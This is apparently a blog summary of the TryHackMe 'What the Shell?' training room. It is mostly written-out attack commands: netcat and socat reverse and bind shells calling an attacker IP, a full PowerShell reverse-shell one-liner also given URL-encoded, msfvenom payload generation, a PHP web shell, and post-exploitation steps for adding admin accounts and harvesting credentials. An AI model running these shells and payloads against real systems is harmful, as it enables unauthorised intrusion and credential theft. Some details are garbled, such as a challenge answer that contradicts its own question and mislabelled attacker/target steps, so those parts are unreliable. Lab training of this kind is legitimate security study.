What the Shell
What the Shell
This is my summary of the TryHackMe | What the Shell? room. It is invaluable if you want to take your career seriously...
To refresh your knowledge on the essentials of a shell, check out this article.
Setting Up Reverse & Bind Shells
Reverse Shell example
- On the Attack machine, setting up a listener:
- nc -lvnp 443
- On Target machine sending a connection from the target:
- nc -vv 10.10.130.49 443 -e /bin/bash
- Connection set!
- From the Attack machine, we can investigate the Target machine by using bash commands:
Bind Shell example
- On the Target machine, setting up a listener:
- sudo nc -lvnp 443 -e /bin/bash
- On the Attack machine, connect to the listener of the Target machine:
- nc 10.10.246.55 443
- Connection set!
- Now, from the Attack machine, you can explore the Target machine by using bash commands:
- Notes:
- The majority of simple reverse and bind shells are non-interactive
- `listener` is a shorthand way of typing `sudo rlwrap nc -lvnp 443`
- Be aware that if you use a port below 1024, you must use `sudo` when starting your listener. That said, it's often a good idea to use a well-known port number (80, 443, or 53 being good choices), as this is more likely to bypass outbound firewall rules on the target.
- A working example of this would be:
- `sudo nc -lvnp 443`
Netcat Shell Stabilisation
Technique 1: Python
This applies only to Linux boxes
- First step: spawn a better-featured bash shell with this command: `python3 -c 'import pty;pty.spawn("/bin/bash")'`
- Step two is `export TERM=xterm` -- this will give us access to terminal commands such as `clear`
- Finally, background the shell using Ctrl + Z: use `stty raw -echo; fg`
Technique 2: rlwrap
This technique is particularly useful when dealing with Windows shells, which are otherwise notoriously difficult to stabilize.
- `sudo apt install rlwrap`
- `rlwrap nc -lvnp <port>`
Technique 3: Socat
This technique is limited to Linux targets, as a Socat shell on Windows will be no more stable than a netcat shell
- Set up a web server on the attacking machine:
- `sudo python3 -m http.server 80`
- On the target machine, use the netcat shell to download the file:
- On Linux: curl or wget (`wget <LOCAL-IP>/socat -O /tmp/socat`)
- On Windows: (`Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe`)
- Change terminal tty size:
- First, open another terminal and run `stty -a`
- Next, in your reverse/bind shell, type in:
- `stty rows <number>` and `stty cols <number>`
Socat
Reverse Shells example
- On the Attacking machine, set the reverse shell listener:
- `socat TCP-L:443 -`
- On the Target machine, connect back to the Attack machine:
- On Windows:
- `socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes`
- On Linux:
- `socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"`
Bind Shells example
- On the Attacking machine, connect to the waiting listener:
socat TCP:<TARGET-IP>:<TARGET-PORT> -
- On a Linux target, use the following command:
socat TCP-L:<PORT> EXEC:"bash -li"
- Special listener (which is stabler):
socat TCP-L:<PORT> FILE:
tty,raw,echo=0
- Note: This only works when the target is Linux
- On a Windows target, use this command for our listener:
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
- The special listener can be connected to any payload; however, this special listener must be activated with a *specific socat command. This means that the target must have socat installed. Most machines do not have socat installed by default; however, it's possible to upload a precompiled socat binary, which can then be executed as normal.
- *The special command is as follows:
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash li",pty,stderr,sigint,setsid,sane
- Note: if, at any point, a socat shell is not working correctly, it's well worth increasing the verbosity by adding
-d -d
to the command - Example with the special listener:
- Attacking machine connects to the waiting listener:
socat TCP:10.10.207.40:443 -
- Target a Linux machine:
sudo socat TCP-L:443 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
Socat Encrypted Shells
Suffice it to say that any timeTCP
was used as part of a command; this should be replaced with OPENSSL
when working with encrypted shellsEncrypted Reverse Shell example
- ATTACKER
- First, generate a certificate to use encrypted shells
- openssl genrsa -des3 -out privatekey.key 2048
openssl req --new -key rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
- openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 362
- Second, merge the two created files into a single
.pem
file:cat shell.key shell.crt > shell.pem
- cat key.pem cert.pem > shell.pem
- Third, set up our reverse shell listener on the Target:
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
- TARGET
- To connect back, we would use this command on the Attacker:
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash
Encrypted Bind Shell example
The same technique would apply to a bind shell:- ATTACKER
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
- TARGETTTACKER
- socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -
Common Shell Payloads
Bind Shell example
- On the TARGET machine, set up a listener:
nc -lvnp <PORT> -e /bin/bash
- Example: sudo nc -lvnp 443 -e /bin/bash
- However, this is very insecure. On Windows where a static binary is nearly always required anyway, this technique will work perfectly. On Linux, however, we would instead use this code to create a listener for a bind shell**:
mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
- Example: mkfifo /tmp/f; sudo nc -lvnp 443 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
- On the ATTACK machine, connect to the listener of the Target machine:
- nc -vv 10.10.246.55 443
- Connection set!
Reverse Shell example
- On the ATTACK machine, setting up a listener:
- nc -lvnp 443
- On the TARGET machine, sending a connection from the target:
- nc -vv 10.10.130.49 443 -e /bin/bash
- Connection set!
- A very similar command (referring to **) can be used to send a netcat reverse shell:
mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
- Example: mkfifo /tmp/f; sudo nc -vv 10.10.130.49 443 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
- When targeting modern Windows Servers, it is very common to require a Powershell reverse shell, so we'll be covering the standard one-liner PSH reverse shell:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('**<ip>**',**<port>**);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
- Note: it’s also possible to do it with PowerCat
msfvenom
MsfVenom - a Metasploit standalone payload generator. This is the one-stop shop for all things payload-related.
Part of the Metasploit framework, msfvenom generates code for primarily reverse and bind shells. It is used extensively in lower-level exploit development to generate hexadecimal shellcode when developing something like a Buffer Overflow exploit; however, it can also generate payloads in various formats (e.g., .exe, .aspx, .war, .py). We will use this latter function in this room.
- The syntax for msfvenom is:
msfvenom -p <PAYLOAD> <OPTIONS>
- For example, to generate a Windows x64 Reverse Shell in an exe format, we could use:
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>
Staged vs Stageless
- Staged payloads are sent in two parts. The first part is called the stager. This piece of code is executed directly on the server itself. It connects to a waiting listener but contains no reverse shell code. Instead, it connects to the listener and uses the connection to load the real payload, executing it directly and preventing it from touching the disk where it could be caught by traditional anti-virus solutions. Thus, the payload is split into two parts -- a small initial stager, then the bulkier reverse shell code, which is downloaded when the stager is activated. Staged payloads require a special listener -- usually the Metasploit multi/handler.
- Stageless payloads are more common -- these are what we've been using up until now. They are entirely self-contained in that there is one piece of code that, when executed, sends a shell back immediately to the waiting listener.
- Example of a stageless reverse shell payload:
linux/x86/shell_reverse_tcp
- Note: Stageless payloads are denoted with underscores (
_
) - Example of a staged reverse shell payload:
shell/reverse_tcp
- Note: Staged payloads are denoted with a forward slash (
/
). - This rule also applies to Meterpreter payloads. A Windows 64-bit staged Meterpreter payload would look like this:
windows/x64/meterpreter/reverse_tcp
- A Linux 32-bit stageless Meterpreter payload would look like this:
linux/x86/meterpreter_reverse_tcp
- Challenge: What command would you use to generate a staged Meterpreter reverse shell for a 64-bit Linux target, assuming your IP was 10.10.10.5, and you were listening on port 443? The format for the shell is
elf
, and the output filename should beshell
- Answer: msfvenom -p linux/x64/meterpreter/reverse_tcp -f exe -o shell.exe LHOST=10.10.10.5 LPORT=443
Metasploit multi/handler
Multi/Handler is a tool for catching reverse shells
STEPS
- Open Metasploit with `msfconsole`
- Type `use multi/handler`, and press Enter
We set these options with the following commands:
- set PAYLOAD <payload>
- set LHOST <listen-address>
- set LPORT <listen-port>
When the staged payload generated in the previous task is run, Metasploit receives the connection, sending the remainder of the payload and giving us a reverse shell:
WebShells
Upload a webshell via the upload button/functionality. See the Upload Vulnerabilities Room for a more extensive look at this concept.
In one-line format:
- <?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
- This will take a GET parameter in the URL and execute it on the system with shell_exec(). Essentially, any commands we enter in the URL after ?cmd= will be executed on the system -- be it Windows or Linux. The "pre" elements are to ensure that the results are formatted correctly on the page
- Notice that when navigating the shell, we used a GET parameter "cmd" with the command "ifconfig", which correctly returned the network information of the box. In other words, by entering the ifconfig command (used to check the network interfaces on a Linux target) into the URL of our shell, it was executed on the system, with the results returned to us. This would work for any other command we chose (e.g., whoami, hostname, arch, etc)
- As mentioned previously, there’s a variety of webshells available on Kali by default at /usr/share/webshells -- including the infamous PentestMonkey php-reverse-shell -- a full reverse shell written in PHP. Note that most generic, language-specific (e.g., PHP) reverse shells are written for Unix-based targets, such as Linux web servers. They will not work on Windows by default
- When targeting Windows, it is often easiest to obtain RCE using a web shell or by using msfvenom to generate a reverse/bind shell in the server's language. With the former method, obtaining RCE is often done with a URL-encoded PowerShell reverse Shell. This would be copied into the URL as the cmd argument:
- powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22
- Remember that the IP and Port (bold, towards the end of the top line) will still need to be changed in the above code
Next Steps
Ok, we have a shell. Now what?
We've covered lots of ways to generate, send, and receive shells. The one thing that they all have in common is that they tend to be unstable and non-interactive. Even Unix-style shells, which are easier to stabilise, are not ideal. So, what can we do about this?
- On Linux, we would be looking for opportunities to gain access to a user account. SSH keys stored at /home/<user>/.ssh are often an ideal way to do this. In CTFs, it's also not infrequent to find credentials lying around somewhere on the box. Some exploits will also allow you to add your account. In particular, something like Dirty C0w or a writeable /etc/shadow or /etc/passwd would quickly grant you SSH access to the machine, assuming SSH is open.
- On Windows, the options are often more limited. It's sometimes possible to find passwords for running services in the registry. VNC servers, for example, frequently leave passwords in the registry stored in plaintext. Some versions of the FileZilla FTP server also leave credentials in an XML file at C:\Program Files\FileZilla Server\FileZilla Server.xml or C:\xampp\FileZilla Server\FileZilla Server.xml. These can be MD5 hashes or in plaintext, depending on the version.
- Ideally, on Windows, you would obtain a shell running as the SYSTEM user, or an administrator account running with high privileges. In such a situation, it's possible to add your account (in the administrator's group) to the machine, then log in using RDP, telnet, winexe, psexec, WinRM, or any number of other methods, dependent on the services running on the box. The syntax for this is as follows: net user <username> <password> /add net localgroup administrators <username> /add
The important takeaway from this task:
Reverse and bind shells are an essential technique for gaining remote code execution on a machine; however, they will never be as fully featured as a native shell. Ideally, we always want to escalate to using a "normal" method for accessing the machine, as this will invariably be easier to use for further exploitation of the target.
Comments
Post a Comment